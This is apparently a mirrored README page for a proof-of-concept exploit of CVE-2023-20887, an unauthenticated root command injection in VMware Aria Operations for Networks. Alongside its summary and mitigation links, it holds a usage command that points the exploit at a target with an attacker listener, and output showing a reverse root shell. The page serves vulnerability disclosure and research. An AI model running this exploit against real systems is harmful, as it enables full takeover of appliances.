CVE-2023-20887 PoC — VMware Aria Operations 命令注入漏洞

来源

关联漏洞

Description

VMWare vRealize Network Insight Pre-Authenticated RCE (CVE-2023-20887)

介绍

# CVE-2023-20887
POC for CVE-2023-20887 VMWare Aria Operations for Networks (vRealize Network Insight) unauthenticated RCE

## Technical Analysis
A root cause analysis of the vulnerability can be found on my blog:
https://kushagraojha.medium.com/vmware-vrealize-network-insight-cve-2023-20887-193f3c3d30a0



## Summary
VMWare Aria Operations for Networks (vRealize Network Insight) is vulnerable to command injection when accepting user input through the Apache Thrift RPC interface. This vulnerability allows a remote unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. The RPC interface is protected by a reverse proxy which can be bypassed. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.
a malicious actor can get remote code execution in the context of 'root' on the appliance.
VMWare 6.x version are vulnerable.



## Usage
```plaintext
python CVE-2023-20887.py --url https://192.168.116.100 --attacker 192.168.116.1:1337
(*) Starting handler
(+) Received connection from 192.168.116.100
(+) pop thy shell! (it's ready)
sudo bash
id
uid=0(root) gid=0(root) groups=0(root)
hostname
vrni-platform-release
```

## Mitigations
Update to the latest version or mitigate by following the instructions within the Progress Advisory
* https://www.vmware.com/security/advisories/VMSA-2023-0012.html

## Disclaimer
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

文件快照

 [4.0K]  /data/pocs/f2efaed8b7014bfa899af3e8cc121f699a897404
├── [1.6K]  CVE-2023-20887.py
├── [ 16K]  LICENSE
├── [1.8K]  nuclei-CVE-2023-20887.yaml
├── [1.7K]  README.md
└── [5.2K]  vmware_vrni_rce_cve_2023_20887.rb

0 directories, 5 files

备注